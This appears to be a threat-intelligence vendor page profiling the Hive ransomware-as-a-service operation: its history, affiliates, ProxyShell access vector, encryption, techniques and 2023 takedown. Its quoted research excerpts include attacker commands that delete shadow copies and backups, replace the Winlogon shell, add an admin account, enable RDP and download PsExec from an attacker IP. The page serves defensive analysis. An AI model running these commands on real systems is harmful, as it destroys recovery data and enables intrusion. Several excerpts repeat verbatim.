Loading malware…
Hive was an affiliate-based ransomware-as-a-service operation first observed in June 2021. It used double extortion: affiliates exfiltrated victim data, encrypted systems, and threatened publication of stolen data to compel payment. Hive affiliates targeted organizations across multiple sectors, including healthcare and software, and used phishing attachments, exposed or vulnerable Remote Desktop Protocol services, compromised VPN credentials, and exploitation of unpatched Microsoft Exchange ProxyShell vulnerabilities for initial access. The operation was associated with Russian national Mikhail Pavlovich Matveev in U.S. criminal allegations.
Hive encryptors were developed for Windows, Linux, FreeBSD, and VMware ESXi-oriented environments. Earlier variants were written in Go, while a later Windows variant was rewritten in Rust and used Curve25519 ECDH and XChaCha20-Poly1305 cryptographic components. The malware could stop security, backup, database, and enterprise services; terminate processes that could lock files; disable or impair Microsoft Defender protections; delete shadow copies and backups; clear Windows event logs; and alter recovery settings. Affiliates also used credential theft, network and Active Directory discovery, Remote Desktop Protocol, and other administrative mechanisms for lateral movement before ransomware deployment.
Hive operators employed an affiliate model in which affiliates commonly supplied access to victim networks while administrators managed negotiations. The operation was disrupted in January 2023 after U.S. authorities covertly accessed its infrastructure, supplied decryption keys to victims, and seized its public leak-site infrastructure.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues... ProxyShell is a set of three vulnerabilities in the Microsoft Exchange Server that allow remote code execution without authentication on vulnerable deployments. The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues to deploy various backdoors, including Cobalt Strike beacon.
The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues to deploy various backdoors, including Cobalt Strike beacon.
The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues to deploy various backdoors, including Cobalt Strike beacon.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Hive ransomware is only about one year old, having been first observed in June 2021, but it has grown into one of the most prevalent ransomware payloads in the ransomware as a service (RaaS) ecosystem.
Indictments returned in New Jersey and the District of Columbia allege that Matveev was involved in a conspiracy to distribute ransomware from three different strains or affiliate groups, including Babuk, Hive and LockBit.
DEV-0237 heavily used Ryuk and Conti payloads from Trickbot LLC/DEV-0193, then Hive payloads more recently.
Authorities say Matveev played a major role in the development and deployment of the Hive, LockBit and Babuk ransomware variants...
...delivering various ransomware payloads over the years, including Hive, BlackCat (ALPHV), Hunters International, LockBit, and Embargo ransomware.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
It also comes with support for a single command line parameter (-no-wipe). In contrast, Hive's Windows ransomware comes with up to 5 execution options, including killing processes and skipping disk cleaning, uninteresting files, and older files.
"vssadmin.exe delete shadows /all /quiet" "wmic.exe shadowcopy delete" "wbadmin.exe delete systemstatebackup"
The new variant uses a different set of algorithms: Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
net user <REDACTED> <REDACTED> /add ... net localgroup Administrators <REDACTED> /add
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
The new Hive variant uses string encryption that can make it more evasive. Strings reside in the .rdata section and are decrypted during runtime by XORing with constants.
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery.
Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windows
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Rapid7 observed that the HIVE payload would not execute unless a flag of -u was passed.
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
The discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup. This list is then used with NetShareEnum to identify file shares on each remote host
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP). This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
The disclosure comes as the U.S. Federal Bureau of Investigation (FBI) released a Flash report detailing the tactics of a new Ransomware-as-a-Service (RaaS) outfit known as Hive, consisting of a number of actors who are using multiple mechanisms to compromise business networks, exfiltrate data and encrypt data on the networks, and attempt to collect a ransom in exchange for access to the decryption software.
The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies... deleting backup catalogs
The Hive ransomware gang now also encrypts Linux and FreeBSD using new malware variants specifically developed to target these platforms.
Hive stops the following services: windefend, msmpsvc, kavsvc... veeam, backup, vss, msexchange, mysql...
Like most sophisticated malware, Hive stops services and processes associated with security solutions and other tools that might get in the way of its attack chain. Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
94 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
120 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Ransomware operation cited as a case where the FBI infiltrated the group’s infrastructure, monitored operations, and secretly distributed decryption keys to victims before takedown.
Named as one of the ransomware families with low prevention rates in the testing data; no further technical detail provided.
Mentioned only as another ransomware family using Rust.
Ransomware family/group referenced as the earlier lineage behind Hunters International and, indirectly, WorldLeaks. Mentioned for background context on group evolution.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.